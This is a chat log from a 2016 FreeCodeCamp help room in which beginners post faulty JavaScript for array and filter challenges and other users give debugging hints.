Markus Kiili
@Masd925
Jun 15 2016 07:17
This message was deleted
PrinceLex
@PrinceLex
Jun 15 2016 07:17
IT WORKED
Many thanks, everyone
Alexander Køpke
@alexanderkopke
Jun 15 2016 07:18
:)
stricknein
@stricknein
Jun 15 2016 07:24
@Masd925 how many people do you think you have helped on the record or the profile look up challenges?
Markus Kiili
@Masd925
Jun 15 2016 07:25
@stricknein :) 300 maybe
@stricknein 200 destroyers.
stricknein
@stricknein
Jun 15 2016 07:26
@Masd925 wow. Thats intense. It seems like most of them have issues with the logic branching on those two. At least from what I have seen
@Masd925 do you have your full stack dev cert ?
Markus Kiili
@Masd925
Jun 15 2016 07:27
@stricknein No. I work as a coder full time, so no energy to do the projects at the moment.
stricknein
@stricknein
Jun 15 2016 07:28
@Masd925 I c I c. what type of coding if you dont mind me askin?
Markus Kiili
@Masd925
Jun 15 2016 07:29
@stricknein Javascript/angular applications.
himanshu mittal
@himanshu081996
Jun 15 2016 07:31

i have to remove 2 and 3 from my array[0] in below code what is wrong in below code
function destroyer(arr) {
var array=arr[0];
return array.filter(function(elem){
for(var i=1;i<arr.length;i++){
return elem!==arr[i];
}
});

}
destroyer([1, 2, 3, 1, 2, 3], 2, 3);

Markus Kiili
@Masd925
Jun 15 2016 07:32
@himanshu081996 Use arguments object for those extra arguments after the passed array.
Kelvin Mungai
@munga4
Jun 15 2016 07:32
@stricknein Hi any help on this, Access MultiDimensional Arrays With Indexes! var myData = myArray[0][0];
myData [1] = 3;
stricknein
@stricknein
Jun 15 2016 07:32
@Masd925 Nice nice. Im finishing my last year at university for Cyber Operations. Mostly do haphazard coding in c/c++ and python to get the job done. Found this site and figured I would learn about dev web applications instead of just always trying to XSS or SQL inject them haha
Markus Kiili
@Masd925
Jun 15 2016 07:33
@stricknein ok, nice.
stricknein
@stricknein
Jun 15 2016 07:33
@munga4 what do you need help with
Markus Kiili
@Masd925
Jun 15 2016 07:34
@himanshu081996 arr holds only the first passed argument [1, 2, 3, 1, 2, 3].
Shikhar Kapila
@shikhar0507
Jun 15 2016 07:34
This message was deleted
This message was deleted
Kelvin Mungai
@munga4
Jun 15 2016 07:34
@stricknein Am trying to run it but its not working... am not sure if I have done it the right way.
Shikhar Kapila
@shikhar0507
Jun 15 2016 07:35
This message was deleted
Kelvin Mungai
@munga4
Jun 15 2016 07:35
@stricknein myData should be equal to 8. @munga4
stricknein
@stricknein
Jun 15 2016 07:35
@munga4 format your code with ``` and another set at teh end of your code and paste in what you have so I can look
Kelvin Mungai
@munga4
Jun 15 2016 07:36

@stricknein
// Setup
var myArray = [[1,2,3], [4,5,6], [7,8,9], [[10,11,12], 13, 14]];

// Only change code below this line.
var myData = myArray[0][0];

myData should be equal to 8.
You should be using bracket notation to read the value from myArray.
You should only be reading
stricknein
@stricknein
Jun 15 2016 07:37
@munga4 so how would you access 8 ?
@munga4 how many arrays are in there ? and what is the position of 8 ?
Shikhar Kapila
@shikhar0507
Jun 15 2016 07:37

Why is the code only returning a single elemnt from last array
[1001] and not other respective first elements from other array?

function largestOfFour(arr) {
for (var i =0; i <arr.length;i++){
arr[i].sort(function(a,b){
return b -a;
});

}
for (var x =0;x < arr.length;x++ ) {
var new_arr = [];
new_arr.unshift(arr[x].shift());
}

return new_arr;
}
largestOfFour([[4, 5, 1, 3], [13, 27, 18, 26], [32, 35, 37, 39], [1000, 1001, 857, 1]]);

i guess i made an error in the declaration part of the second for loop?
stricknein
@stricknein
Jun 15 2016 07:39
@munga4 arrays start at an index of 0, so you need to count the location of the array that holds the value of 8 in it. then you need to count the location of 8 in its nested array
@stricknein then you plug those numbers into each [] respectively
Shikhar Kapila
@shikhar0507
Jun 15 2016 07:43
??
himanshu mittal
@himanshu081996
Jun 15 2016 07:43
@shikhar0507 in second loop just reurn new_arr=arr[x][0];
i mean new_arr[x]=arr[x][0];
then finaly return new_arr;
Kelvin Mungai
@munga4
Jun 15 2016 07:46
@stricknein myData [0] =7; like this
GaneshCloud
@GaneshCloud
Jun 15 2016 07:48
Hello World
CamperBot
@camperbot
Jun 15 2016 07:48

welcome to FreeCodeCamp @GaneshCloud!

Kelvin Mungai
@munga4
Jun 15 2016 07:49
Am stuck on this you can just show me its done
@stricknein Am stuck on this you can just show me its done
stricknein
@stricknein
Jun 15 2016 07:53
@munga4 sorry was helping some one else
@munga4 you have to refer to each array that you are accessing in order to get your value
@munga4 do you know what a multi demensional array is ?
himanshu mittal
@himanshu081996
Jun 15 2016 07:55

anyone plzz help me to solve this
function destroyer(arr) {

var array= arr.filter(function(argument){
for(var i=1;i<arr.length;i++){
return argument!==arr[i];
}
});
return array;
}
destroyer([1, 2, 3, 1, 2, 3], 2, 3);

stricknein
@stricknein
Jun 15 2016 07:56
@munga4 Read up on them if you do not understand. I will not tell you because you will not learn anything http://www.techrepublic.com/article/multidimensional-arrays-in-javascript/
@himanshu081996 your are not using filter correctly
@himanshu081996 filter already enumerates for you so no need for the for loop in the function
himanshu mittal
@himanshu081996
Jun 15 2016 07:58
@stricknein so how can i remove all elements
himanshu mittal
@himanshu081996
Jun 15 2016 07:59
@Masd925 okk im checking
Ankit Panwar
@coderNoob
Jun 15 2016 08:00
@himanshu081996 First you need to split the arr since it has a nest array.
stricknein
@stricknein
Jun 15 2016 08:01
@himanshu081996 references the args passed in then form a conditional to return what you want
Markus Kiili
@Masd925
Jun 15 2016 08:01
@coderNoob No arr holds only [1, 2, 3, 1, 2, 3]
stricknein
@stricknein
Jun 15 2016 08:01
@himanshu081996 reference*
Gustavo Godoy
@imgustavo
Jun 15 2016 08:02
Hi everybody
himanshu mittal
@himanshu081996
Jun 15 2016 08:03
still im not getting this